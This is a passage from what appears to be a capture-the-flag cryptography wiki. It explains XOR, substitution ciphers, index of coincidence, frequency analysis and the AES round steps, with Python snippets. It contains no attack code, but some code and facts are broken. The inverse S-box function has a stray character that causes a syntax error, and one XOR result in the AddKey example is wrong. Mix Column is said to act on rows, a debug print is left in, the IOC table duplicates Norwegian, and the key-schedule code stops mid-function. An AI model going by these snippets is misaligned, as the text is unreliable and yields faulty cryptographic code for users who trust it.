| 1 | 0 | 1      |

For longer binary inputs, the XOR operation is done bit by bit : `1010 ^ 0111 = 1101` . If the two operand haven't the same size, then the shorter padded with non-significant `0` :

```
1010 ^ 01 = 1010 ^ 0001 = 1011
```

## Properties

Like other standard mathematical objects, xor has some specific properties :

```
Commutative  : A ⊕ B = B ⊕ A
Associative  : A ⊕ B ⊕ C = A ⊕ (B ⊕  C) = (A ⊕ B) ⊕ C
Identity     : A ⊕ 0 = A
Self-Inverse : A ⊕ A = 0
```

These properties are very interesting cause it permit the following :

$$
D = A \oplus B \ A \oplus D = A \oplus ( A \oplus B) = A \oplus A \oplus B = (A \oplus A) \oplus B = 0 \oplus B = B
$$

## Python

```python
from pwn import *

A = "someData"
B = "OtherData"

xored = xor(A,B)
```

## Resources

{% embed url="<https://gchq.github.io/CyberChef/#recipe=XOR(%7B>" %}


# Mono-alphabetic substitution

**Mono-alphabetic substitution** is a simple substitution cipher where **each letter of the plaintext is substituted with a fixed corresponding letter** of the ciphertext, based on a single shared alphabet or a key.

It is considered to be easily broken due to the lack of complexity in the substitution process and the predictability of letter frequency patterns in the language used.


# Index of coincidence

The Index of Coincidence (IOC) is a statistical measure used in cryptography to analyze the randomness of a set of symbols.

A higher IOC value indicates a less random distribution of letters in the text and can be an indicator that a substitution cipher has been used. By comparing the IOC of a ciphertext to the expected IOC of plaintext in the same language, an attacker can make inferences about the encryption method used and use this information to break the cipher.

## How it works ?

To calculate an index of coincidence for a mono-alphabetic substitution, here is the equation :

$$
IC = \sum\_{q=A}^{q=Z} \frac{n\_q(n\_q-1)}{n(n-1)}
$$

{% hint style="info" %}
**n** is a total amount of letters within the text

***n\_A** is the amount of A*

***n\_B** is the amount of B etc.*
{% endhint %}

{% hint style="warning" %}
Note: This techniques only works if the provided text is large enough.
{% endhint %}

## Index of coincidence Table

Here is the "standard" indexes of coincidence for theses languages :

| Language   | Index of coincidence |
| ---------- | -------------------- |
| English    | 0,0667               |
| Serbian    | 0,0643               |
| Swedish    | 0,0644               |
| Esperanto  | 0,0690               |
| Greek      | 0,0691               |
| Norvégien  | 0,0694               |
| Norwegian  | 0,0707               |
| Finnish    | 0,0737               |
| Italian    | 0,0738               |
| Portuguese | 0,0745               |
| Arab       | 0,0758               |
| German     | 0,0762               |
| Hebrew     | 0,0768               |
| Spanish    | 0,0770               |
| Japanese   | 0,0772               |
| French     | 0,0778               |
| Dutch      | 0,0798               |
| malaysian  | 0,0852               |
| Russian    | 0,0529               |

## Resources

{% embed url="<https://gchq.github.io/CyberChef/#recipe=Index_of_Coincidence()>" %}

{% embed url="<https://www.dcode.fr/index-coincidence>" %}


# frequency analysis

Frequency analysis is a cryptanalysis technique used to break substitution ciphers, by analyzing the frequency of letters or groups of letters in the ciphertext.

The idea is that, in a given language, certain letters or combinations of letters appear more frequently than others. By counting the frequency of letters in the ciphertext, an attacker can compare it to the known letter frequency patterns in the language and make guesses about the substitution mapping used to encrypt the plaintext.

This information can then be used to partially or fully break the cipher, revealing the original message.

## How it works ?

For each letter in the alphabet, count how many time it appears, and then calculate the frequency and compare with the known value for a specific language.

{% hint style="warning" %}
Such as [Index of coincidence](/cryptography/mono-alphabetic-substitution/index-of-coincidence), more the text is longer, more this technique will works.
{% endhint %}

{% hint style="info" %}
For simple substitution, it can be useful to try replacing the most common letter in the ciphertext by the letter E, the most common letter in English, and so on.
{% endhint %}

## Resources

{% embed url="<https://www.dcode.fr/frequency-analysis>" %}


# Well known algorithms


# Scytale

Spartan cipher


# ROT

Caesar & ROT13


# Polybe

Cipher square


# Vigenere


# Pigpen cipher

Masonic cipher


# Affine cipher


# Symmetric Cryptography

Symmetric ciphers are algorithms that use the same key both to encrypt and decrypt data. The goal is to use short secret keys to securely and efficiently send long messages.

We can split symmetric-key ciphers into two types, block ciphers and stream ciphers.

Block ciphers break up a plaintext into fixed-length blocks, and send each block through an encryption function together with a secret key.

Stream ciphers meanwhile encrypt one byte of plaintext at a time, by XORing a pseudo-random keystream with the data.

Block ciphers only specify how to encrypt and decrypt individual blocks, and a mode of operation must be used to apply the cipher to longer messages.


# AES

The Rijndael scheme

AES (Advanced Encryption Standard), also known as **Rijndael algorithm**, is a **symmetric encryption algorithm** that is widely used to secure data. It was selected by the U.S. National Institute of Standards and Technology (NIST) as the encryption standard in 2001, after a public competition to find a replacement for the aging Data Encryption Standard (DES).

AES uses a fixed block size. In a symmetric encryption algorithm, the same key is used for both encryption and decryption, which makes it fast and efficient. However, it also means that the key must be securely shared between the sender and receiver of the encrypted data.

AES is considered to be a very secure encryption algorithm and is widely used in various applications, including disk encryption, file compression, and secure communication protocols.

{% hint style="info" %}
[Somebody estimated](https://crypto.stackexchange.com/a/48669) that if you turned the power of the entire Bitcoin mining network against an AES-128 key, it would take over a hundred times the age of the universe to crack the key.
{% endhint %}

## How it works ?

**The Rijndael scheme** is a **block cipher** that divides the input plaintext into a block of four rows and four columns.

A block consists of a total of **16 bytes**, so each cell contains one byte. During encryption or decryption, **each block goes through multiple rounds of 4 steps** (only 3 steps at the last round). Depending on the length of the key.

* 10 rounds for AES-128
* 12 rounds for AES-192
* 14 rounds for AES-256.


# Block Encryption procedure

To encrypt, AES applies 4 distinct functions to the Plain Text in a specific and repetitive order, each of which is reversible (in order to be able to decrypt later)

{% @mermaid/diagram content="graph LR
Plain(PlainText)
addKey(Key Addition Layer)
Cipher(CypherText)
subgraph round
Sub(Byte Substitution Layer)
Shift(Diffusion : Shift Row Layer)
Mix(Diffusion : Mix Column Layer)
addKey2(Key Addition Layer)
Sub --> Shift --> Mix --> addKey2
end
Plain --> addKey  --> round --- repet(\[Repetition n times]) --> round
round --> Cipher" %}

{% hint style="info" %}
Every rounds made these four operations except the last one where the Mix Column is skipped
{% endhint %}

## Resources

* <https://www.angelfire.com/biz7/atleast/mix_columns.pdf>
* <https://engineering.purdue.edu/kak/compsec/NewLectures/Lecture8.pdf>

{% embed url="<https://github.com/francisrstokes/githublog/blob/main/2022/6/15/rolling-your-own-crypto-aes.md>" %}

{% embed url="<https://www.utc.fr/~wschon/sr06/txPHP/aes/MixColumn/MixColumn.php>" %}


# Byte Substitution

Each byte of the state is substituted for a different byte according to a "S-box" (**substitution-box)**.

This indicates by which value the algorithm replaces which byte in the blocks.

The S-box is always the same as it have some specific mathematics behavior

```
----+----+----+----+----+----+----+----+----+----+----+----+----+----+----+----+----
    | 00 | 01 | 02 | 03 | 04 | 05 | 06 | 07 | 08 | 09 | 0A | 0B | 0C | 0D | 0E | 0F 
----+----+----+----+----+----+----+----+----+----+----+----+----+----+----+----+----
 00 | 63 | 7C | 77 | 7B | F2 | 6B | 6F | C5 | 30 | 01 | 67 | 2B | FE | D7 | AB | 76 
 10 | CA | 82 | C9 | 7D | FA | 59 | 47 | F0 | AD | D4 | A2 | AF | 9C | A4 | 72 | C0 
 20 | B7 | FD | 93 | 26 | 36 | 3F | F7 | CC | 34 | A5 | E5 | F1 | 71 | D8 | 31 | 15 
 30 | 04 | C7 | 23 | C3 | 18 | 96 | 05 | 9A | 07 | 12 | 80 | E2 | EB | 27 | B2 | 75 
 40 | 09 | 83 | 2C | 1A | 1B | 6E | 5A | A0 | 52 | 3B | D6 | B3 | 29 | E3 | 2F | 84 
 50 | 53 | D1 | 00 | ED | 20 | FC | B1 | 5B | 6A | CB | BE | 39 | 4A | 4C | 58 | CF 
 60 | D0 | EF | AA | FB | 43 | 4D | 33 | 85 | 45 | F9 | 02 | 7F | 50 | 3C | 9F | A8 
 70 | 51 | A3 | 40 | 8F | 92 | 9D | 38 | F5 | BC | B6 | DA | 21 | 10 | FF | F3 | D2 
 80 | CD | 0C | 13 | EC | 5F | 97 | 44 | 17 | C4 | A7 | 7E | 3D | 64 | 5D | 19 | 73 
 90 | 60 | 81 | 4F | DC | 22 | 2A | 90 | 88 | 46 | EE | B8 | 14 | DE | 5E | 0B | DB 
 A0 | E0 | 32 | 3A | 0A | 49 | 06 | 24 | 5C | C2 | D3 | AC | 62 | 91 | 95 | E4 | 79 
 B0 | E7 | C8 | 37 | 6D | 8D | D5 | 4E | A9 | 6C | 56 | F4 | EA | 65 | 7A | AE | 08 
 C0 | BA | 78 | 25 | 2E | 1C | A6 | B4 | C6 | E8 | DD | 74 | 1F | 4B | BD | 8B | 8A 
 D0 | 70 | 3E | B5 | 66 | 48 | 03 | F6 | 0E | 61 | 35 | 57 | B9 | 86 | C1 | 1D | 9E 
 E0 | E1 | F8 | 98 | 11 | 69 | D9 | 8E | 94 | 9B | 1E | 87 | E9 | CE | 55 | 28 | DF 
 F0 | 8C | A1 | 89 | 0D | BF | E6 | 42 | 68 | 41 | 99 | 2D | 0F | B0 | 54 | BB | 16 
----+----+----+----+----+----+----+----+----+----+----+----+----+----+----+----+----

For example, 0x11 -> 0x82 and 0xA7 -> 0x5C.
```

As AES is a symmetric cipher, there is a table to retrieve the original values "AES inverse S-box"

```
----+----+----+----+----+----+----+----+----+----+----+----+----+----+----+----+----
    | 00 | 01 | 02 | 03 | 04 | 05 | 06 | 07 | 08 | 09 | 0A | 0B | 0C | 0D | 0E | 0F 
----+----+----+----+----+----+----+----+----+----+----+----+----+----+----+----+----
 00 | 52 | 09 | 6A | D5 | 30 | 36 | A5 | 38 | BF | 40 | A3 | 9E | 81 | F3 | D7 | FB 
 10 | 7C | E3 | 39 | 82 | 9B | 2F | FF | 87 | 34 | 8E | 43 | 44 | C4 | DE | E9 | CB 
 20 | 54 | 7B | 94 | 32 | A6 | C2 | 23 | 3D | EE | 4C | 95 | 0B | 42 | FA | C3 | 4E 
 30 | 08 | 2E | A1 | 66 | 28 | D9 | 24 | B2 | 76 | 5B | A2 | 49 | 6D | 8B | D1 | 25 
 40 | 72 | F8 | F6 | 64 | 86 | 68 | 98 | 16 | D4 | A4 | 5C | CC | 5D | 65 | B6 | 92 
 50 | 6C | 70 | 48 | 50 | FD | ED | B9 | DA | 5E | 15 | 46 | 57 | A7 | 8D | 9D | 84 
 60 | 90 | D8 | AB | 00 | 8C | BC | D3 | 0A | F7 | E4 | 58 | 05 | B8 | B3 | 45 | 06 
 70 | D0 | 2C | 1E | 8F | CA | 3F | 0F | 02 | C1 | AF | BD | 03 | 01 | 13 | 8A | 6B 
 80 | 3A | 91 | 11 | 41 | 4F | 67 | DC | EA | 97 | F2 | CF | CE | F0 | B4 | E6 | 73 
 90 | 96 | AC | 74 | 22 | E7 | AD | 35 | 85 | E2 | F9 | 37 | E8 | 1C | 75 | DF | 6E 
 A0 | 47 | F1 | 1A | 71 | 1D | 29 | C5 | 89 | 6F | B7 | 62 | 0E | AA | 18 | BE | 1B 
 B0 | FC | 56 | 3E | 4B | C6 | D2 | 79 | 20 | 9A | DB | C0 | FE | 78 | CD | 5A | F4 
 C0 | 1F | DD | A8 | 33 | 88 | 07 | C7 | 31 | B1 | 12 | 10 | 59 | 27 | 80 | EC | 5F 
 D0 | 60 | 51 | 7F | A9 | 19 | B5 | 4A | 0D | 2D | E5 | 7A | 9F | 93 | C9 | 9C | EF 
 E0 | A0 | E0 | 3B | 4D | AE | 2A | F5 | B0 | C8 | EB | BB | 3C | 83 | 53 | 99 | 61 
 F0 | 17 | 2B | 04 | 7E | BA | 77 | D6 | 26 | E1 | 69 | 14 | 63 | 55 | 21 | 0C | 7D 
----+----+----+----+----+----+----+----+----+----+----+----+----+----+----+----+----

For example, 0x82 -> 0x11 and 0x5c -> 0xA7.
```

## Python implementation

```python
s_box = (
    0x63, 0x7C, 0x77, 0x7B, 0xF2, 0x6B, 0x6F, 0xC5, 0x30, 0x01, 0x67, 0x2B, 0xFE, 0xD7, 0xAB, 0x76,
    0xCA, 0x82, 0xC9, 0x7D, 0xFA, 0x59, 0x47, 0xF0, 0xAD, 0xD4, 0xA2, 0xAF, 0x9C, 0xA4, 0x72, 0xC0,
    0xB7, 0xFD, 0x93, 0x26, 0x36, 0x3F, 0xF7, 0xCC, 0x34, 0xA5, 0xE5, 0xF1, 0x71, 0xD8, 0x31, 0x15,
    0x04, 0xC7, 0x23, 0xC3, 0x18, 0x96, 0x05, 0x9A, 0x07, 0x12, 0x80, 0xE2, 0xEB, 0x27, 0xB2, 0x75,
    0x09, 0x83, 0x2C, 0x1A, 0x1B, 0x6E, 0x5A, 0xA0, 0x52, 0x3B, 0xD6, 0xB3, 0x29, 0xE3, 0x2F, 0x84,
    0x53, 0xD1, 0x00, 0xED, 0x20, 0xFC, 0xB1, 0x5B, 0x6A, 0xCB, 0xBE, 0x39, 0x4A, 0x4C, 0x58, 0xCF,
    0xD0, 0xEF, 0xAA, 0xFB, 0x43, 0x4D, 0x33, 0x85, 0x45, 0xF9, 0x02, 0x7F, 0x50, 0x3C, 0x9F, 0xA8,
    0x51, 0xA3, 0x40, 0x8F, 0x92, 0x9D, 0x38, 0xF5, 0xBC, 0xB6, 0xDA, 0x21, 0x10, 0xFF, 0xF3, 0xD2,
    0xCD, 0x0C, 0x13, 0xEC, 0x5F, 0x97, 0x44, 0x17, 0xC4, 0xA7, 0x7E, 0x3D, 0x64, 0x5D, 0x19, 0x73,
    0x60, 0x81, 0x4F, 0xDC, 0x22, 0x2A, 0x90, 0x88, 0x46, 0xEE, 0xB8, 0x14, 0xDE, 0x5E, 0x0B, 0xDB,
    0xE0, 0x32, 0x3A, 0x0A, 0x49, 0x06, 0x24, 0x5C, 0xC2, 0xD3, 0xAC, 0x62, 0x91, 0x95, 0xE4, 0x79,
    0xE7, 0xC8, 0x37, 0x6D, 0x8D, 0xD5, 0x4E, 0xA9, 0x6C, 0x56, 0xF4, 0xEA, 0x65, 0x7A, 0xAE, 0x08,
    0xBA, 0x78, 0x25, 0x2E, 0x1C, 0xA6, 0xB4, 0xC6, 0xE8, 0xDD, 0x74, 0x1F, 0x4B, 0xBD, 0x8B, 0x8A,
    0x70, 0x3E, 0xB5, 0x66, 0x48, 0x03, 0xF6, 0x0E, 0x61, 0x35, 0x57, 0xB9, 0x86, 0xC1, 0x1D, 0x9E,
    0xE1, 0xF8, 0x98, 0x11, 0x69, 0xD9, 0x8E, 0x94, 0x9B, 0x1E, 0x87, 0xE9, 0xCE, 0x55, 0x28, 0xDF,
    0x8C, 0xA1, 0x89, 0x0D, 0xBF, 0xE6, 0x42, 0x68, 0x41, 0x99, 0x2D, 0x0F, 0xB0, 0x54, 0xBB, 0x16,
)

inv_s_box = (
    0x52, 0x09, 0x6A, 0xD5, 0x30, 0x36, 0xA5, 0x38, 0xBF, 0x40, 0xA3, 0x9E, 0x81, 0xF3, 0xD7, 0xFB,
    0x7C, 0xE3, 0x39, 0x82, 0x9B, 0x2F, 0xFF, 0x87, 0x34, 0x8E, 0x43, 0x44, 0xC4, 0xDE, 0xE9, 0xCB,
    0x54, 0x7B, 0x94, 0x32, 0xA6, 0xC2, 0x23, 0x3D, 0xEE, 0x4C, 0x95, 0x0B, 0x42, 0xFA, 0xC3, 0x4E,
    0x08, 0x2E, 0xA1, 0x66, 0x28, 0xD9, 0x24, 0xB2, 0x76, 0x5B, 0xA2, 0x49, 0x6D, 0x8B, 0xD1, 0x25,
    0x72, 0xF8, 0xF6, 0x64, 0x86, 0x68, 0x98, 0x16, 0xD4, 0xA4, 0x5C, 0xCC, 0x5D, 0x65, 0xB6, 0x92,
    0x6C, 0x70, 0x48, 0x50, 0xFD, 0xED, 0xB9, 0xDA, 0x5E, 0x15, 0x46, 0x57, 0xA7, 0x8D, 0x9D, 0x84,
    0x90, 0xD8, 0xAB, 0x00, 0x8C, 0xBC, 0xD3, 0x0A, 0xF7, 0xE4, 0x58, 0x05, 0xB8, 0xB3, 0x45, 0x06,
    0xD0, 0x2C, 0x1E, 0x8F, 0xCA, 0x3F, 0x0F, 0x02, 0xC1, 0xAF, 0xBD, 0x03, 0x01, 0x13, 0x8A, 0x6B,
    0x3A, 0x91, 0x11, 0x41, 0x4F, 0x67, 0xDC, 0xEA, 0x97, 0xF2, 0xCF, 0xCE, 0xF0, 0xB4, 0xE6, 0x73,
    0x96, 0xAC, 0x74, 0x22, 0xE7, 0xAD, 0x35, 0x85, 0xE2, 0xF9, 0x37, 0xE8, 0x1C, 0x75, 0xDF, 0x6E,
    0x47, 0xF1, 0x1A, 0x71, 0x1D, 0x29, 0xC5, 0x89, 0x6F, 0xB7, 0x62, 0x0E, 0xAA, 0x18, 0xBE, 0x1B,
    0xFC, 0x56, 0x3E, 0x4B, 0xC6, 0xD2, 0x79, 0x20, 0x9A, 0xDB, 0xC0, 0xFE, 0x78, 0xCD, 0x5A, 0xF4,
    0x1F, 0xDD, 0xA8, 0x33, 0x88, 0x07, 0xC7, 0x31, 0xB1, 0x12, 0x10, 0x59, 0x27, 0x80, 0xEC, 0x5F,
    0x60, 0x51, 0x7F, 0xA9, 0x19, 0xB5, 0x4A, 0x0D, 0x2D, 0xE5, 0x7A, 0x9F, 0x93, 0xC9, 0x9C, 0xEF,
    0xA0, 0xE0, 0x3B, 0x4D, 0xAE, 0x2A, 0xF5, 0xB0, 0xC8, 0xEB, 0xBB, 0x3C, 0x83, 0x53, 0x99, 0x61,
    0x17, 0x2B, 0x04, 0x7E, 0xBA, 0x77, 0xD6, 0x26, 0xE1, 0x69, 0x14, 0x63, 0x55, 0x21, 0x0C, 0x7D,
)


def sub_bytes(s):
    for i in range(4):
        for j in range(4):
            s[i][j] = s_box[s[i][j]]
    return s


def inv_sub_bytes(s):
    for i in range(4):
        for j in range(4):
            s[i][j] = inv_s_box[s[i][j]]y
    return s
```


# Shift Row

The "Shift Rows" operates on the rows of the 4x4 state matrix.

It shifts each row cyclically to the left by a certain number of bytes, **with the shift amount depending on the row number**.

```
input :
+-------------+
| 00 01 02 03 |
| 10 11 12 13 |
| 20 21 22 23 |
| 30 31 32 33 |
+-------------+

output : 
+-------------+
| 00 01 02 03 | --> Row 0; no shift
| 11 12 13 10 | --> Row 1; Shift 1 to the left
| 22 23 20 21 | --> Row 2; Shift 2 to the left
| 33 30 31 32 | --> Row 3; Shift 3 to the left
+-------------+

```

This permutation operation provides diffusion and confusion in the state matrix, which enhances the security of the AES algorithm.

## Python implementation

```python
def shift_rows(s):
    s[0][1], s[1][1], s[2][1], s[3][1] = s[1][1], s[2][1], s[3][1], s[0][1]
    s[0][2], s[1][2], s[2][2], s[3][2] = s[2][2], s[3][2], s[0][2], s[1][2]
    s[0][3], s[1][3], s[2][3], s[3][3] = s[3][3], s[0][3], s[1][3], s[2][3]
    return s


def inv_shift_rows(s):
    s[0][1], s[1][1], s[2][1], s[3][1] = s[3][1], s[0][1], s[1][1], s[2][1]
    s[0][2], s[1][2], s[2][2], s[3][2] = s[2][2], s[3][2], s[0][2], s[1][2]
    s[0][3], s[1][3], s[2][3], s[3][3] = s[1][3], s[2][3], s[3][3], s[0][3]
    return s
```


# Mix Column

The "Mix Column" operates on the rows of the 4x4 state matrix.

It is a non-linear operation that involves multiplying each column by a fixed matrix and reducing the result modulo a fixed polynomial.

The fixed matrice is the following :

```
+-------------+
| 02 03 01 01 |
| 01 02 03 01 |
| 01 01 02 03 |
| 03 01 01 02 |
+-------------+
```

Then the operation is the following :

{% code overflow="wrap" %}

```
Fixed matrice        User data          Result
+-------------+     +-------------+     +-------------+
| 02 03 01 01 |     | 00 01 02 03 |     | r1 r2 r3 r4 |
| 01 02 03 01 |     | 11 12 13 10 |     | ...         |
| 01 01 02 03 |  *  | 22 23 20 21 |  =  |      ?      |
| 03 01 01 02 |     | 33 30 31 32 |     |             |
+-------------+     +-------------+     +-------------+

Each row of the result are made by the result of the operation of the fixed matrice row times each column : 

r1 = ( 02 * 00 ) ⊕ ( 03 * 11 ) ⊕ ( 01 * 22 ) ⊕ ( 01 * 33 )
r2 = ( 02 * 01 ) ⊕ ( 03 * 12 ) ⊕ ( 01 * 23 ) ⊕ ( 01 * 30 ) 
r3 = ( 02 * 02 ) ⊕ ( 03 * 13 ) ⊕ ( 01 * 20 ) ⊕ ( 01 * 31 )
etc. 
```

{% endcode %}

Because of all operation are a Galois Field multiplication, it is not only `a times 2 or 3`

{% hint style="warning" %}
Only 3 operators are used into this operation :

* 1
* 2
* 3

It make easier to explain a process to calculate the result of the mix column operation, but keep in mind **that it look easy but it is not**.

Here is only a limited explanation that do not cover the entire mathematics behavior of this maths tool
{% endhint %}

All operations are made with the binary forms of the number.

* Multiply by 1 is just like standard decimal operation, `a * 1 = a`
* Multiply by 2

```
a * 2 = a << 1 (<< is left shift, 1 is the number of shift done, pad on with 0's)
```

Because we work into GF(2^8), the number can't have more than 8 bits, so if there is more after the bit shift, then the number must be xored with `0b0011011`

{% hint style="info" %}
This value is calculated using the irreducible Polynomial theorem that it will not be explain here.
{% endhint %}

Here is an example with `0xd4 * 2`

```
d4 = 11010100
d4 * 2 = 11010100 * 10 
       = 110101000
110101000 and 100000000 = 1
d4 * 2 = (110101000 % 100000000) ⊕ 0011011 
       = 10110011
```

{% hint style="warning" %}
The xor operation is done only because `d4` \* `02` >= `100000000`
{% endhint %}

* Multiply by 3

```mathematica
3 = 11 (in binary form) 
11 = 10 ⊕ 01

It mean that : 

a * 3 = (bin(a) * 10) ⊕ (bin(a) * 01)

bin(a) * 01 = a * 1
            = a
                        
bin(a) * 10 = a * 2

So : 
a * 3 = a * 2 ⊕ a
```

Here is an example with `0xd4 * 3`

```
d4 = 11010100
d4 * 2 =  10110011 ( such as explained before )
d4 * 3 = d4 * 2 ⊕ d4 
       = 10110011 ⊕ 11010100
       = 1100111
```

## Python implementation

```python
import copy

def galois_mult(a, b):
    """
    Multiplication in the Galois field GF(2^8).
    """
    p = 0
    hi_bit_set = 0
    for i in range(2):
        if b & 1 == 1: p ^= a
        hi_bit_set = a & 0x80
        a <<= 1
        if hi_bit_set == 0x80: a ^= 0x1b
        b >>= 1
    return p % 256

def mixcolumn(column):
    """
    Mix one column by by considering it as a polynomial and performing
    operations in the Galois field (2^8).
    """
    # XOR is addition in this field
    temp = copy.copy(column) # Store temporary column for operations
    column[0] = galois_mult(temp[0], 2) ^ galois_mult(temp[1], 3) ^ \
                galois_mult(temp[2], 1) ^ galois_mult(temp[3], 1)
    column[1] = galois_mult(temp[0], 1) ^ galois_mult(temp[1], 2) ^ \
                galois_mult(temp[2], 3) ^ galois_mult(temp[3], 1)
    column[2] = galois_mult(temp[0], 1) ^ galois_mult(temp[1], 1) ^ \
                galois_mult(temp[2], 2) ^ galois_mult(temp[3], 3)
    column[3] = galois_mult(temp[0], 3) ^ galois_mult(temp[1], 1) ^ \
                galois_mult(temp[2], 1) ^ galois_mult(temp[3], 2)

def mixcolumns(state):
    """
    Perform a mixing operation which operates on the columns of the states,
    combining the four bytes in each column.
    """
    for i in range(len(state)):
        # Create column from the corresponding array positions
        column = copy.copy(state[i])

        # Mix the extracted column
        mixcolumn(column)

        # Set the new column in the state
        state[i] = column
    return state
```

### Optimized

```python
# learned from http://cs.ucsb.edu/~koc/cs178/projects/JT/aes.c
xtime = lambda a: (((a << 1) ^ 0x1B) & 0xFF) if (a & 0x80) else (a << 1)


def mix_single_column(a):
    # see Sec 4.1.2 in The Design of Rijndael
    t = a[0] ^ a[1] ^ a[2] ^ a[3]
    u = a[0]
    a[0] ^= t ^ xtime(a[0] ^ a[1])
    a[1] ^= t ^ xtime(a[1] ^ a[2])
    a[2] ^= t ^ xtime(a[2] ^ a[3])
    a[3] ^= t ^ xtime(a[3] ^ u)
    return a


def mix_columns(s):
    for i in range(4):
        s[i] = mix_single_column(s[i])
    return s


def inv_mix_columns(s):
    # see Sec 4.1.3 in The Design of Rijndael
    for i in range(4):
        u = xtime(xtime(s[i][0] ^ s[i][2]))
        v = xtime(xtime(s[i][1] ^ s[i][3]))
        s[i][0] ^= u
        s[i][1] ^= v
        s[i][2] ^= u
        s[i][3] ^= v
    print(s)
    return mix_columns(s)
```


# Add Key

The AddKey operation is a step in the encryption and decryption processes that involves combining the state matrix with a round key using a XOR operation.

{% hint style="info" %}
The round key is generated from the original secret key using the [Key Schedule](/cryptography/symmetric-cryptography/aes/block-encryption-procedure/key-expansion-key-schedule), which generates a sequence of subkeys for each round of the cipher.
{% endhint %}

The AddKey operation is performed by taking each byte of the state matrix and XORing it with the corresponding byte of the round key.

The AddKey operation is denoted as follows:

```java
state matrix ⊕ round key = new state matrix
```

Let's take an example to see how the AddKey operation works. Suppose we have the following state matrix:

```
+-------------+
| 54 4f 4f 20 |
| 77 68 6f 20 |
| 4c 61 72 67 |
| 65 72 20 21 |
+-------------+ 
```

And this round key :

```
+-------------+
| 2b 28 ab 09 |
| 7e ae f7 cf |
| 15 d2 15 4f |
| 16 a6 88 3c |
+-------------+
```

To perform the AddKey operation, we XOR each byte of the state matrix with the corresponding byte of the round key. For example, the first byte of the state matrix is XORed as follows:

```
54 ⊕ 2b = 7f
```

After performing the XOR operation for each byte, the resulting state matrix becomes:

```
+-------------+
| 7f 67 eb 85 |
| 09 c4 3b ec |
| a3 1f 36 8c |
| 33 26 e4 5e |
+-------------+
```

## Python implementation

```python
def add_round_key(s, k):
    for i in range(4):
        for j in range(4):
            s[i][j] ^= k[i][j]
    return s
```


# Key Expansion / Key Schedule

Each round use its own round key into the "[**Add Key**](/cryptography/symmetric-cryptography/aes/block-encryption-procedure/add-key)" step that is derived from the original encryption key.

So, the Key Schedule will allow creating a different key for each encryption round, each of these sub-keys being 128 bits

{% hint style="info" %}
The entire key length is then 128 times n+1 ( where n is the amount of round, depending of the original key size )

* $$128 \cdot 11 = 1408$$ bits for AES-128
* $$128 \cdot 13 = 1664$$ bits for AES-192
* $$128 \cdot 15 = 1920$$ bits for AES-256
  {% endhint %}

To make the key expansion, the original key is divided into 32 bits blocks called `words`

{% hint style="info" %}
Here is 4 words for AES-128, 6 for AES-192 and 8 for AES-256
{% endhint %}

The next words are calculated following these graph :

<figure><img src="/files/BPhGHPWy790RFggXwSlQ" alt=""><figcaption><p>Figure 1. AES 128 Expansion key</p></figcaption></figure>

<figure><img src="https://github.com/Hakumarachi/theCTFRecipe/blob/master/.gitbook/assets/image%20(5).png" alt=""><figcaption><p>Figure 2. AES 192 Expansion key</p></figcaption></figure>

<figure><img src="/files/XNzXXHXLSNwD6SyK38hN" alt=""><figcaption><p>Figure 3. AES 256 Expansion key</p></figcaption></figure>

## Algorithm steps

{% hint style="warning" %}
The following explanation will be based on AES-128. Some little ajustement ( such as the amount of generated words ) have to be done to make it applicable to the others key size.
{% endhint %}

As explained before, AES-128 need a total key lenght of 1408 bits ( $$11 \cdot 128$$ ).

As each word has a size of 32 bits, ( $$\frac{1408}{32} = 44$$ )44 words are needed.

### The first four words group

The first four words are provided by the original key.

* W0 = `key[0:31]`
* W1 = `key[32:63]`
* W2 = `key[64:95]`
* W3 = `key[96:127]`

{% hint style="info" %}
Here, we have the four words of the key used for the round 0 ( before the 10 loops )

To serve as the round key for the $$i^{th}$$ round, $$i$$ must be a multiple of 4.

These will obviously serve as the round key for the $$i/4^{th}$$ round. For example :

* `w4`, `w5`, `w6`, `w7` is the round key for round 1
* `w8`, `w9`, `w10`, `w11` the round key for round 2,
* and so on.
  {% endhint %}

### The others words groups

Let’s say that we have the four words of the round key for the i th round:

$$
w\_i ; w\_{i+1} ; w\_{i+2} ; w\_{i+3}
$$

And we need to determine the words

$$
w\_{i+4} ; w\_{i+5} ; w\_{i+6} ; w\_{i+7}
$$

Using the Figure 1, we can write :

$$
w\_{i+5} = w\_{i+4} \oplus w\_{i+1} \ w\_{i+6} = w\_{i+5} \oplus w\_{i+2} \ w\_{i+7} = w\_{i+6} \oplus w\_{i+3} \\
$$

{% hint style="info" %}
Note that except for the first word in a new 4-word grouping, each word is an XOR of the previous word and the corresponding word in the previous 4-word grouping.
{% endhint %}

### The first word of each groups

$$w\_{i+4}$$ is the beginning of the 4-word group and is obtained by using :

$$
w\_{i+4} = w\_i \oplus g(w\_{i+3})
$$

{% hint style="info" %}
The first word of the new 4-word group is obtained by XOR’ing the first word of the last group ( $$w\_i$$ ) with the result of a function g() applied to the last word of the previous 4-word group
{% endhint %}

### The g() function

The function $$g()$$consists of the following 3 steps :

* Perform a one-byte left circular rotation on the argument 4-byte word.
* Perform a byte substitution for each byte of the word using the same "S-box" in the [SubBytes ](/cryptography/symmetric-cryptography/aes/block-encryption-procedure/byte-substitution)step of the encryption rounds
* XOR the bytes obtained from the previous step with a round constant.

{% hint style="info" %}
The round constant is a word whose three rightmost bytes are always zero.

Therefore, XOR’ing with the round constant amounts to XOR’ing with just its leftmost byte.
{% endhint %}

The **round constant** for the $$i^{th}$$round is noted $$Rcon\[i]$$.

$$
Rcon\[i] = (RC\[i], 0 , 0 ,0 )
$$

The only non-zero byte in the round constants, $$RC\[i]$$, obeys the following recursion:

$$
RC\[1] = 0x01 \ RC\[i] = 0x02 \cdot RC\[i-1]
$$

{% hint style="warning" %}
The multiplication applied here is the same as in [Mix Column operation](/cryptography/symmetric-cryptography/aes/block-encryption-procedure/mix-column) when multiplying by 2.
{% endhint %}

## Python implementation

```python
def expand_key(master_key):
    """
    Expands and returns a list of key matrices for the given master_key.
    """

    # Round constants https://en.wikipedia.org/wiki/AES_key_schedule#Round_constants
    r_con = (
        0x00, 0x01, 0x02, 0x04, 0x08, 0x10, 0x20, 0x40,
        0x80, 0x1B, 0x36, 0x6C, 0xD8, 0xAB, 0x4D, 0x9A,
        0x2F, 0x5E, 0xBC, 0x63, 0xC6, 0x97, 0x35, 0x6A,
        0xD4, 0xB3, 0x7D, 0xFA, 0xEF, 0xC5, 0x91, 0x39,
    )

    # Initialize round keys with raw key material.
    key_columns = bytes2matrix(master_key)
    iteration_size = len(master_key) // 4

    # Each iteration has exactly as many columns as the key material.
    i = 1
    while len(key_columns) < (N_ROUNDS + 1) * 4:
        # Copy previous word.
        word = list(key_columns[-1])

        # Perform schedule_core once every "row".
